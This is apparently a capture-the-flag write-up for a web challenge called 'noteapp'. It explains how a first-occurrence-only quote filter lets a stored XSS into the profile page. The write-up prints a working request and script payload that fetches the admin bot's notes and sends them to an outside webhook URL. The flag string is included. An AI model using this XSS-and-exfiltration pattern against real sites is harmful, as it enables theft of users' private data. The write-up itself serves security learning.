noteapp
problem
I made this notekeeper to keep your notes safe. Its not an heap chall 😉
The flag is in the admin's notes.
solution
sourceless web, despite what the rules for making challs say…
also, i dont know what a heap chall is.
this was made by 0xM4hm0ud, and i know that 0xM4hm0ud loves pwn more than anything else, so i was scared to see a 150pt chall from him.
anyways, it was a pretty simple XSS chall.
we are presented with a login screen at first
we can register too
here, i will register as qww a bunch
we can see that there are a few things we can do here
we know the flag is in the admins notes, but we dont know the admin password
we can use /report
to report a site to the admin bot
we also know that the token is stored as the connect.sid
cookie like so:
one of the controls that we have in this website is to change our user profile
here, we can do an XSS.
the intended solution here was to overflow a wasm buffer to bypass quote filtering and get an XSS, but i dont know how to do that. so, i used two quotes instead of one to bypass the quote filter
this is the source of the filtering, hidden from us:
const username = req.body.username.replace("\"", "");
const email = req.body.email.replace("\"", "");
the vulnerability here, which we couldn’t see, was that javascript’s replace function only replaces the first occurence of a string
so, a script like
let thing = `
fetch('/notes').then((r) => {r.text().then((w) => {fetch('https://webhook.site/96d5c0f0-d4be-488e-<rest-of-webhook>?d=' + btoa(w))})})
</script>`;
fetch("http://167.99.0.85/updateprofile", {
"headers": {
"accept": "*/*",
"accept-language": "en-US,en;q=0.9,ar;q=0.8",
"cache-control": "no-cache",
"content-type": "application/x-www-form-urlencoded; charset=UTF-8",
"pragma": "no-cache",
"x-requested-with": "XMLHttpRequest"
},
"referrer": "http://167.99.0.85/profile/<profileid>",
"referrerPolicy": "strict-origin-when-cross-origin",
"body": `username=%22%22%3E%3Cscript%3E${encodeURIComponent(thing)}&email=`,
"method": "POST",
"mode": "cors",
"credentials": "include"
});
will work. note that the username length restriction is client-side only, so we can spoof a request and bypass the restriction
the payload is as follows: ""><script>${encodeURIComponent(thing)}fetch('/notes').then((r) => {r.text().then((w) => {fetch('https://<malicious-site-url>/?d=' + btoa(w))})})</script>
we put two quotes to bypass the replace, and then escape out of the span tag. then, we enter a new script and place in the rest of our payload
note that the connect.sid
is httpOnly true, so we can’t access it from code. however, we can execute code as the admin,
which allows us to fetch the admins notes and then send them back to us, without having to log in as the admin
anyways, the flag is ictf{w4sm_0v3rfl0w_t0_xSs_c67e2ec016f0bc0e495655ee70fe2a2d}
i didn’t even see that there was a wasm file…